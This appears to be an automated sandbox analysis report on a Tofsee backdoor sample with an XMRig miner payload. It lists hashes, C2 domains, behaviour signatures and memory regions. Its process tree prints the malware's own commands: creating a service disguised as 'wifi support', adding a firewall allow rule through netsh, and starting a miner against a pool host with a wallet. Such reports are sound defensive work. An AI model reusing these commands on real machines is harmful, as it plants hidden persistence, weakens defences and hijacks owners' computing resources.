Analysis

  • max time kernel
    145s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    22/10/2022, 17:03

General

  • Target
    file.exe
  • Size 224KB
  • Sample221022-vknwmsedbl
  • SHA256 0c6f7d24565e4c82b257946bedf7d710251a34d29704c7878ca22447d8368cbc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:832
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uggcjzzq\
      2⤵
        PID:1640
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\eqznmirw.exe" C:\Windows\SysWOW64\uggcjzzq\
        2⤵
          PID:1416
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uggcjzzq binPath= "C:\Windows\SysWOW64\uggcjzzq\eqznmirw.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uggcjzzq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1980
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uggcjzzq
          2⤵
          • Launches sc.exe
          PID:796
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:516
      • C:\Windows\SysWOW64\uggcjzzq\eqznmirw.exe
        C:\Windows\SysWOW64\uggcjzzq\eqznmirw.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1740
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1528
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:996

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            eqznmirw.exe

            • Path C:\Users\Admin\AppData\Local\Temp\eqznmirw.exe
            • Size 11.0MB
            • SHA256 dc35a2365f9a0b455f4f6a260bf334be3e96a5d7035b398a54cb7f172ab58216
            • MD5 SHA1 SHA512 SSDEEP

            eqznmirw.exe

            • Path C:\Windows\SysWOW64\uggcjzzq\eqznmirw.exe
            • Size 11.0MB
            • SHA256 dc35a2365f9a0b455f4f6a260bf334be3e96a5d7035b398a54cb7f172ab58216
            • MD5 SHA1 SHA512 SSDEEP

            memory/832-68-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/832-55-0x0000000075921000-0x0000000075923000-memory.dmp

            memory/832-54-0x0000000002CC8000-0x0000000002CDE000-memory.dmp

            memory/832-57-0x0000000002CC8000-0x0000000002CDE000-memory.dmp

            memory/832-59-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/832-67-0x0000000002CC8000-0x0000000002CDE000-memory.dmp

            memory/832-58-0x00000000002B0000-0x00000000002C3000-memory.dmp

            memory/832-65-0x0000000002CC8000-0x0000000002CDE000-memory.dmp

            memory/996-106-0x00000000000C0000-0x00000000001B1000-memory.dmp

            memory/996-104-0x00000000000C0000-0x00000000001B1000-memory.dmp

            memory/1528-77-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1528-92-0x0000000000120000-0x0000000000130000-memory.dmp

            memory/1528-101-0x0000000000370000-0x0000000000377000-memory.dmp

            memory/1528-75-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1528-98-0x0000000005990000-0x0000000005D9B000-memory.dmp

            memory/1528-95-0x00000000001E0000-0x00000000001E5000-memory.dmp

            memory/1528-84-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1528-85-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1528-86-0x00000000019F0000-0x0000000001BFF000-memory.dmp

            memory/1528-89-0x0000000000110000-0x0000000000116000-memory.dmp

            memory/1740-70-0x0000000002E08000-0x0000000002E1E000-memory.dmp

            memory/1740-83-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/1740-79-0x0000000002E08000-0x0000000002E1E000-memory.dmp

            memory/1740-74-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/1740-73-0x0000000002E08000-0x0000000002E1E000-memory.dmp